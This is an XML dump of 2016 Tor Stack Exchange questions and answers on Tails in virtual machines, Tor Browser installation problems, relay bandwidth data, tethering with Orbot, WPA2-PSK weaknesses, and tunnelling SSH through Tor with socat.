  <row Id="11890" PostTypeId="2" ParentId="10195" CreationDate="2016-06-17T20:10:54.987" Score="2" Body="&lt;p&gt;This one irks me, especially when the &quot;VMs are magic&quot; crowd provide answers like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are using your own computer, it is probably safe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As the documentation states there are limitations. The &quot;guest&quot; &lt;em&gt;(Tails)&lt;/em&gt; cannot do anything about the actions of the &quot;host&quot;. It is running inside a virtualized environment that Tails &lt;em&gt;expects&lt;/em&gt; and &lt;em&gt;believes&lt;/em&gt; to be hardware. Some of Tails' properties &lt;em&gt;only hold&lt;/em&gt; if it is running in the environment that it expects!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has anti-forensic properties, Tails is meant to not leave forensic evidence on the system. If you run Tails inside of a VM on a host system that uses a pagefile or swap, chunks of the memory in use by the Tails virtual machine will be written to disk. This means information about the website your were browsing, your cryptographic keys, your plaintext instant messenging and email &lt;em&gt;may&lt;/em&gt; just be written to disk &lt;em&gt;in plaintext&lt;/em&gt;. Worse still if the systems support hibernation or suspend-to-disk, it will write &lt;em&gt;the entire contents of memory(&lt;strong&gt;!!&lt;/strong&gt;)&lt;/em&gt; to disk! &lt;em&gt;Everything&lt;/em&gt; in your Tails session would be stored on the filesystem of the Host machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails &lt;em&gt;cannot&lt;/em&gt; be amnesic anymore. The VM, too, is possibly storing unexpected information about it's state even &lt;em&gt;if&lt;/em&gt; you've disabled paging/swap (can you even fully do this under Windows?) and hibernation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using full disk encryption isn't even a great solution, many Linux installers only encrypt the swap with the same master key as is used for your system partition. Ideally swap should be encrypted with a random key generated each boot. This means on shutdown the key is purged from memory and swap is, for all intents and purposes, irrecoverable. However in the current LVM-on-LUKS setups as used by Debian, Ubuntu, et al. the swap persists and your system key can be used to reveal your past activities. Infact previously &quot;Full Disk Encryption&quot; solutions like Bitlocker &lt;a href=&quot;http://pgp.wiredpig.us/post/12221969953/bitlocker-truecrypt-vulnerability&quot; rel=&quot;nofollow&quot;&gt;used to write to a hibernation file outside of the encrypted partition&lt;/a&gt;, meaning your encryption key for the disk was written in plaintext...to the disk. So everything your computer was doing at the time of hibernation (or the last time it hibernated) would be readable by anyone with physical access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be very careful when second guessing the design decisions of, and especially the large warning signs created by, the Tails team. They are not arbitrary decisions.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-17T20:10:54.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11891" PostTypeId="2" ParentId="11823" CreationDate="2016-06-17T21:29:50.047" Score="2" Body="&lt;p&gt;Tor usually writes data into the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DataDirectory&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;DataDirectory&lt;/code&gt;&lt;/a&gt;. This includes information about the network, status information about your relay and other information. Those files are regularly updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move the &lt;code&gt;DataDirectory&lt;/code&gt; to some directory outside of your SD card if possible. Another way is to set &lt;code&gt;AvoidDiskWrites 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. If set Tor will try to write less frequently to disk.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-06-17T21:29:50.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11892" PostTypeId="1" CreationDate="2016-06-17T21:38:16.627" Score="1" ViewCount="781" Body="&lt;p&gt;I'd like to download a TOR browser for my IPad.  I don't see an option on the project website and I see several in the App Store.  I want to download a reputable one where I don't download a security risk. Any thoughts on reputable choices?&lt;/p&gt;&#xA;" OwnerUserId="13336" LastEditorUserId="3066" LastEditDate="2016-06-29T11:52:27.707" LastActivityDate="2019-05-21T21:45:48.633" Title="TOR browsers for iPad" Tags="|ios|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-28T18:07:39.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="11893" PostTypeId="1" CreationDate="2016-06-18T06:29:33.103" Score="0" ViewCount="463" Body="&lt;p&gt;I have two different Win10 X64 machines.  The Tor browser told me it was out of date, so I let it upgrade 6.0.1 This was this week.  Now Tor will not even open the page that says loading Tor browser.  It also did not try to configure.  This was the same on both machines.  Both have all the Microsoft update.  I got real frustrated and deleted the tor directory and tried to reload 6.0.1 with the same results.  I then decided to go back to the latest version I had saved, so I wiped out the tor browser again and reloaded version &quot;torbrowser-install-5.54_en-US.exe&quot; which works, but of course tell me it is out of date.  The version will work on both machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is going on.&lt;/p&gt;&#xA;" OwnerUserId="13338" LastActivityDate="2016-06-18T20:30:26.577" Title="Latest Tor upgrade not working on Win10 X64" Tags="|windows|" AnswerCount="1" CommentCount="2" ClosedDate="2016-06-19T03:20:14.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="11894" PostTypeId="2" ParentId="11893" CreationDate="2016-06-18T20:30:26.577" Score="0" Body="&lt;p&gt;I stopped Trusteer Rapport and TOR installed 6.0.1 and it ran.&#xA;Now if I enable Trusteer Rapport it will not run.  My bank requires that I&#xA;am running Trusteer Rapport.  Do you know of anyway to make them compatible&#xA;with each other.  Previous versions of Tor was compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="13338" LastActivityDate="2016-06-18T20:30:26.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11896" PostTypeId="2" ParentId="9500" CreationDate="2016-06-18T22:51:00.360" Score="1" Body="&lt;p&gt;This may be considered a bug, an unfortunately collision between &lt;code&gt;FirewallPorts&lt;/code&gt;, &lt;code&gt;ReachableAddresses&lt;/code&gt;, &lt;code&gt;FascistFirewall&lt;/code&gt; and the spoofed destination address of the &lt;code&gt;Meek&lt;/code&gt; protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have configured Orbot to only pick guards to specific ports or addresses, then you should remove those settings as a work around to be able to use &lt;code&gt;Meek&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-18T22:51:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11897" PostTypeId="2" ParentId="9877" CreationDate="2016-06-19T00:58:50.457" Score="2" Body="&lt;p&gt;Not really. You can know it's observed bandwidth, and what it's throughput has been seen to be but not &amp;quot;available&amp;quot; bandwidth. That would require knowledge of, for example, the upperbounds of throughput in any given situation which would be infeasible to calculate and wouldn't be consistent as it would necessarily depend on factors outside of the control or visibility of the tor process.&lt;/p&gt;&#xA;&lt;p&gt;The information you have about relays comes from the consensus. There are a few values that are published. The relay itself publishes it's bandwidth, the values you are retrieving are:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;average_bandwidth&lt;/code&gt; (int) -- * average rate it's willing to relay in bytes/s&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;burst_bandwidth&lt;/code&gt; (int) -- * burst rate it's willing to relay in bytes/s&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;observed_bandwidth&lt;/code&gt; (int) -- * estimated capacity based on usage in bytes/s&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The first two are the values published by the relay, the third is the bandwidth observed by the bwauths, defined in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n418&quot; rel=&quot;nofollow noreferrer&quot;&gt;dirspec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may also be interested in the &amp;quot;extrainfo&amp;quot; descriptor values of &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n622&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;read-history&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n624&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;write-history&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;All other descriptor values are also defined in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;dirspec.txt&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-19T00:58:50.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11898" PostTypeId="1" AcceptedAnswerId="11905" CreationDate="2016-06-19T01:13:38.370" Score="2" ViewCount="56" Body="&lt;p&gt;I heard that using Tor is also a contribution because users will produce different activities to prevent being recognized by activity. Is it true?&lt;/p&gt;&#xA;" OwnerUserId="13345" LastActivityDate="2016-06-19T14:54:14.930" Title="Is it a contribution simply by using Tor?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11899" PostTypeId="1" CreationDate="2016-06-19T02:56:26.940" Score="0" ViewCount="71" Body="&lt;p&gt;if my internet service provider (ISP) can see I visit sites that I use the Tor browser? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13346" LastActivityDate="2016-06-19T09:26:05.777" Title="Important question please read this" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-19T11:13:22.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="11900" PostTypeId="2" ParentId="9752" CreationDate="2016-06-19T03:29:59.660" Score="0" Body="&lt;p&gt;There is a possible leak where some mail providers provide a way to figure out from which locations a certain email account was logged in.&lt;br&gt;&#xA;To avoid this, you can use &lt;a href=&quot;https://www.bitmessage.org/wiki/FAQ#How_do_I_setup_Bitmessage_to_work_with_Tor&quot; rel=&quot;nofollow&quot;&gt;Bitmessage over Tor&lt;/a&gt; and register on mail gateways (I prefer &lt;a href=&quot;https://mailchuck.com/&quot; rel=&quot;nofollow&quot;&gt;Mailchuck&lt;/a&gt;).&lt;br&gt;This way is somewhat more secure because Bitmessage itself provides some anonymity (but it is not enough so you still need Tor), then the mail gateway will know nothing about you.&lt;br&gt;However, in this approach, exploits (if any) in Bitmessage software will make it possible to find your real IP address.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-06-19T03:29:59.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11901" PostTypeId="2" ParentId="8976" CreationDate="2016-06-19T06:04:09.090" Score="1" Body="&lt;p&gt;They aren't fetched &lt;em&gt;from&lt;/em&gt; the bridge, but they are fetched &lt;em&gt;over&lt;/em&gt; the bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other answers suggests:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A bridge that has just started for few minutes will cause clients who connect to it fail since directory information has not been downloaded yet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That isn't true.&lt;/p&gt;&#xA;" OwnerUserId="13347" LastActivityDate="2016-06-19T06:04:09.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11903" PostTypeId="2" ParentId="11899" CreationDate="2016-06-19T09:26:05.777" Score="0" Body="&lt;p&gt;No. The encrypted packet tor sends goes to a tor relay, which goes to another, etc. Each relay only knows the one before it and the one after it in the chain. Your isp could not see what sites you visit.&lt;/p&gt;&#xA;" OwnerUserId="12942" LastActivityDate="2016-06-19T09:26:05.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11905" PostTypeId="2" ParentId="11898" CreationDate="2016-06-19T14:54:14.930" Score="4" Body="&lt;p&gt;The more people that use Tor, the bigger the crowd in which people can hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also extends to activities. The more people there are doing the same thing - e.g. visiting the same websites - then, again, the less likely it is that one of those people will look unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work well, everyone has to look the same to any external observer, which is where your &lt;a href=&quot;https://tor.stackexchange.com/questions/536/what-is-browser-fingerprinting-what-is-linkability&quot;&gt;browser fingerprint&lt;/a&gt; comes into play.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-06-19T14:54:14.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11909" PostTypeId="2" ParentId="4912" CreationDate="2016-06-19T22:35:29.967" Score="0" Body="&lt;p&gt;To whitelist Tor Browser: Open Webroot SecureAnywhere - Identity Protection Settings (gear) - Application Protection (tab). Find any Tor apps (e.g., firefox.exe in \tor browser\browser directory) and select &quot;protect&quot;. My Tor firefox.exe had &quot;deny&quot; selected.  This fixed it for me.&lt;/p&gt;&#xA;" OwnerUserId="13355" LastActivityDate="2016-06-19T22:35:29.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11910" PostTypeId="1" CreationDate="2016-06-19T23:06:33.213" Score="2" ViewCount="3014" Body="&lt;p&gt;Ok, keep in mind that even though I'm fairly technically savvy, most of what I read on Tor related sites pretty much goes over my head.  But even so; here's my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally on my laptop I use the regular Tor browser while connected to my home wi-fi network.  Now let's say I use my android, which has a data plan, and I use it as a hotspot while tethering to connect my laptop to the net. If I use Orbot on my phone, but not use Tor on my laptop, is that just as effective? Or is it more important that I have Tor on my laptop?  Perhaps i should do both; use Tor on my laptop AND use Orbot on my phone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what if I use my Raspberry Pi to connect to my Android's hotspot?  Is that just as  safe as though I was using the tor browser?  Assuming that my phone is using Orbot?&lt;/p&gt;&#xA;" OwnerUserId="13354" LastActivityDate="2016-06-20T03:32:25.013" Title="Android tethering: use Orbot or Tor browser on laptop?" Tags="|orbot|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11911" PostTypeId="2" ParentId="11910" CreationDate="2016-06-20T01:54:37.297" Score="1" Body="&lt;p&gt;tl;dr - You should, wherever possible, use tor on the local system. &lt;em&gt;Especially&lt;/em&gt; when the &quot;local&quot; network is potentially hostile (which is almost always with wireless). If you can run Tor Browser on the laptop and just use the phone as a hotspot, prefer that option! And avoid running Tor-over-Tor, allow the laptop to connect directly to the internet through the hotspot and run Tor Browser as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Personal&quot; Wireless (&lt;code&gt;WEP&lt;/code&gt;, &lt;code&gt;WPA-PSK&lt;/code&gt;, and &lt;code&gt;WPA2-PSK&lt;/code&gt;) does not provide forward-secrecy. This means a local adversary who takes the time to log all of your packets and manages to capture the &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_802.11i-2004#The_four-way_handshake&quot; rel=&quot;nofollow&quot;&gt;WPA2 4-way handshake&lt;/a&gt; will be able to (with effort dependent on the strength of your passphase) break your WPA2 &lt;code&gt;PSK&lt;/code&gt;/&lt;code&gt;PMK&lt;/code&gt; (&lt;code&gt;Pre-shared Master Key&lt;/code&gt;, derived from the passphase) and once they have this they can derive the &lt;code&gt;PTK&lt;/code&gt; (&lt;code&gt;Pairwise Transient Key&lt;/code&gt;, or session key which is used to encrypt your traffic) for &lt;em&gt;all previous and future WPA2 sessions&lt;/em&gt; for which they have also captured the 4-way handshake, assuming the same &lt;code&gt;PSK&lt;/code&gt;/&lt;code&gt;PMK&lt;/code&gt;. This is because the &lt;code&gt;PTK&lt;/code&gt; is derived from values visible to an observer during the 4-way handshake with the exception of the &lt;code&gt;PSK&lt;/code&gt;/&lt;code&gt;PMK&lt;/code&gt;, which is the &lt;em&gt;only&lt;/em&gt; unknown value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the traffic that they would be able to capture and decrypt in that case would be the traffic &lt;em&gt;before&lt;/em&gt; any of Tor's protection is applied. They will see exactly what content you are sending and where, it will &lt;em&gt;not&lt;/em&gt; be anonymized. It &lt;em&gt;may&lt;/em&gt; be encrypted at the application layer (&lt;em&gt;e.g. &lt;code&gt;https&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, or other &lt;code&gt;tls&lt;/code&gt; protected transports&lt;/em&gt;) but that &lt;em&gt;may still&lt;/em&gt; constitute a catastrophic failure for your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tor circuit is protected with authenticated, end-to-end, forward-secret encryption so as a client you should &lt;em&gt;always&lt;/em&gt; prefer to have your apps be &lt;em&gt;as close as possible&lt;/em&gt; to your tor client to gain the most out of the protections provided by this property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also you should never ever entrust &lt;code&gt;WEP&lt;/code&gt;, &lt;code&gt;WPA-PSK&lt;/code&gt; or &lt;code&gt;WPA2-PSK&lt;/code&gt; as anything but a weak means of access control, the cryptography just isn't up to scratch.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-20T03:32:25.013" LastActivityDate="2016-06-20T03:32:25.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11912" PostTypeId="2" ParentId="8843" CreationDate="2016-06-20T10:43:43.303" Score="2" Body="&lt;p&gt;During the time when you asked the question the IP address &lt;a href=&quot;https://exonerator.torproject.org/?ip=%2054.208.95.143&amp;amp;timestamp=2015-10-16&quot; rel=&quot;nofollow&quot;&gt;54.208.95.143&lt;/a&gt; was a Tor relay. The &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt; service can tell you about the state of the Tor network in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means it was perfectly OK for your Tor client to initiate a connection to Amazon. Tor had for some time a cloud project where one could spin up a relay at Amazon cloud.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-06-20T10:43:43.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11914" PostTypeId="1" CreationDate="2016-06-20T16:27:24.133" Score="0" ViewCount="28" Body="&lt;p&gt;Has Tor an API to get information about the latest version?&#xA;I want to use Tor with my software for getting access to blocked sites, and I want update Tor automatically. Have tor any solutions of this task for third-party developers?&lt;/p&gt;&#xA;" OwnerUserId="13366" LastEditorUserId="88" LastEditDate="2016-06-21T07:09:10.250" LastActivityDate="2016-06-21T20:20:59.497" Title="Updating api for third-party developers" Tags="|client|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11915" PostTypeId="1" CreationDate="2016-06-20T16:42:03.173" Score="1" ViewCount="3130" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XXmd8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XXmd8.png&quot; alt=&quot;Gmail cookies&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you view the linked image you will see that when I log into gmail google stores a cookie called SSID on my system. Is it possible that their javascript requests the SSID of my Wi-Fi network from the network? If I am logged into a hotspot with a distinctive name such as &quot;L33T H4CK3R UNIVERSITY SECURE WI-FI&quot; or &quot;Manufacturer-DeFaUlt-HOmE-rOUtEr-nAmE1234x599&quot; this could be a security issue that allows someone to deduce my true IP address even if I am using TOR or a VPN. For instance, google has a Wi-Fi hotspot map; they could use that map to figure out my true IP and true location from my Wi-Fi network name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone recommend libraries I could look at or an approach I could take to program a Firefox or Chrome plugin that would spoof the Wi-Fi network name and other information that is passed to Javascript?&lt;/p&gt;&#xA;" OwnerUserId="13367" LastEditorUserId="88" LastEditDate="2016-06-20T21:51:08.727" LastActivityDate="2017-07-16T03:31:50.263" Title="Google SSID cookie and TOR" Tags="|network-configuration|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11916" PostTypeId="2" ParentId="11915" CreationDate="2016-06-20T18:51:42.973" Score="1" Body="&lt;p&gt;SSID is not abbreviated only as &lt;strong&gt;S&lt;/strong&gt;ervice &lt;strong&gt;S&lt;/strong&gt;et &lt;strong&gt;ID&lt;/strong&gt;entifier, it also referenced as &lt;strong&gt;S&lt;/strong&gt;ecure &lt;strong&gt;S&lt;/strong&gt;ession &lt;strong&gt;ID&lt;/strong&gt;entifier, depending on context. Try to take a look at it's actual value to determine if there is a security issue. Just using a &lt;code&gt;SSID&lt;/code&gt; as a cookie name is defenately not harming neither security, nor privacy&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-20T18:51:42.973" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="11918" PostTypeId="2" ParentId="11914" CreationDate="2016-06-21T00:36:05.463" Score="1" Body="&lt;p&gt;For Tor Browser there are various ways to check what the latest Tor Browser version is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Firefox updater uses this &lt;a href=&quot;https://dist.torproject.org/torbrowser/update_2/release/Linux_x86_64-gcc3/x/en-US&quot; rel=&quot;nofollow&quot;&gt;XML&lt;/a&gt; file to determine if there is an update available (note that the URL is specific to the architecture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All currently downloads and a version are also available in JSON using the &lt;a href=&quot;https://gettor.torproject.org/api.html&quot; rel=&quot;nofollow&quot;&gt;gettor API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/RecommendedTBBVersions&quot; rel=&quot;nofollow&quot;&gt;RecommendedTBBVersions&lt;/a&gt;, but this has caused issues in the past with being parsed programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/16551&quot; rel=&quot;nofollow&quot;&gt;Ticket #16551&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Tor version itself, on &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;Debian&lt;/a&gt; (and some of it's derivatives), and &lt;a href=&quot;https://www.torproject.org/docs/rpms.html.en&quot; rel=&quot;nofollow&quot;&gt;Redhat&lt;/a&gt; (and some of it's derivatives) the Tor Project maintains repositories so your package manager should keep you up to date. Many other Linux distributions should have package maintainers who are keeping you up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of an equivalent for stand-alone &lt;code&gt;tor.exe&lt;/code&gt; on Windows, but if &lt;em&gt;you&lt;/em&gt; are the package maintainer, then &lt;em&gt;you&lt;/em&gt; should probably be taking the time to ensure it is up to date by reading the Tor Project blog and looking for release announcements so your users can benefit. Also consider just making your software interoperable with other instances of Tor (e.g. the one run by Tor Browser), rather than insisting on launching and maintaining it's own.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-21T20:20:59.497" LastActivityDate="2016-06-21T20:20:59.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11919" PostTypeId="2" ParentId="9846" CreationDate="2016-06-21T03:18:48.993" Score="0" Body="&lt;p&gt;Snow Leopard is &lt;strong&gt;not&lt;/strong&gt; too old to run Tor (currently 6.0.1).  I am running 10.6.7 (not even 10.6.8) with no problems.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit/update:  I'll just throw some thoughts out there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the TorBrowser icon have a slash through it?&#xA;TorBrowser is a 64-bit executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just noticed something you also said: &quot;Tried to download it last night. It failed&quot;.  You mean the download itself failed?  You should be able to download the dmg file, expand it, copy the TorBrowser app where ever you want and then (try to) execute it. &lt;/p&gt;&#xA;" OwnerUserId="13076" LastEditorUserId="13076" LastEditDate="2016-06-21T03:39:58.533" LastActivityDate="2016-06-21T03:39:58.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11921" PostTypeId="2" ParentId="6785" CreationDate="2016-06-21T07:30:53.220" Score="1" Body="&lt;p&gt;RDP in version 8 and higher uses UDP for communication. So if the server solely relies on UDP, you can't use it (see &lt;a href=&quot;https://tor.stackexchange.com/q/4523/88&quot;&gt;Can I use Tor through UDP Protocol?&lt;/a&gt;). Windows allows you to use TCP and UDP connections. Please check that the server allows TCP connections. This &lt;a href=&quot;https://blogs.technet.microsoft.com/enterprisemobility/2013/04/09/get-the-best-rdp-8-0-experience-when-connecting-to-windows-7-what-you-need-to-know/&quot; rel=&quot;nofollow&quot;&gt;TechNet article&lt;/a&gt; describes where to find the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can connect to the server. Use either command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand=&quot;socat STDIO SOCKS4A:127.0.0.1:%h:%p,socksport=9050&quot; user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or change the &lt;code&gt;~/.ssh/config&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host foo&#xA;  HostName YOUR_HOST_NAME #(or IP address)&#xA;  ProxyCommand socat STDIO SOCKS4A:127.0.0.1:%h:%p,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter the correct host name or an IP address. Now you can connect to the host using &lt;code&gt;ssh foo&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-06-21T07:30:53.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11922" PostTypeId="2" ParentId="8956" CreationDate="2016-06-21T07:50:13.127" Score="1" Body="&lt;p&gt;it is not really an exact answer, but a good collection of suggestions related to this topic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;You should, wherever possible, use tor on the local system. [...] If you can run Tor Browser on the laptop and just use the phone as a hotspot, prefer that option!&lt;/li&gt;&#xA;  &lt;li&gt;And avoid running Tor-over-Tor, allow the laptop to connect directly to the internet through the hotspot and run Tor Browser as normal.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(citation from &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;&lt;strong&gt;&lt;em&gt;canonizing ironize&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;: &lt;a href=&quot;https://tor.stackexchange.com/a/11911/5234&quot;&gt;https://tor.stackexchange.com/a/11911/5234&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;concerning &lt;a href=&quot;https://tor.stackexchange.com/questions/10071/running-tor-over-tor&quot;&gt;Tor-over-Tor&lt;/a&gt; more clear statements: &lt;em&gt;rule of thumb: mo' hops, mo' probs!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Please note that a Tor-over-Tor connection will &lt;em&gt;always, without exception&lt;/em&gt;, be less safe than a normal Tor connection.&lt;/li&gt;&#xA;  &lt;li&gt;Never, ever use Tor-over-Tor. It is &lt;em&gt;always&lt;/em&gt; less safe.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(citation from &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;&lt;strong&gt;&lt;em&gt;canonizing ironize&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;: &lt;a href=&quot;https://tor.stackexchange.com/a/11820/5234&quot;&gt;https://tor.stackexchange.com/a/11820/5234&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some good statements and links at the Whonix and Tor wiki itself with a kind of explanation regarding Tor-over-Tor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.whonix.org/wiki/DoNot#Allow_Tor_over_Tor_Scenarios&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/DoNot#Allow_Tor_over_Tor_Scenarios&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#ToroverTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#ToroverTor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-09-01T11:32:06.107" LastActivityDate="2019-09-01T11:32:06.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
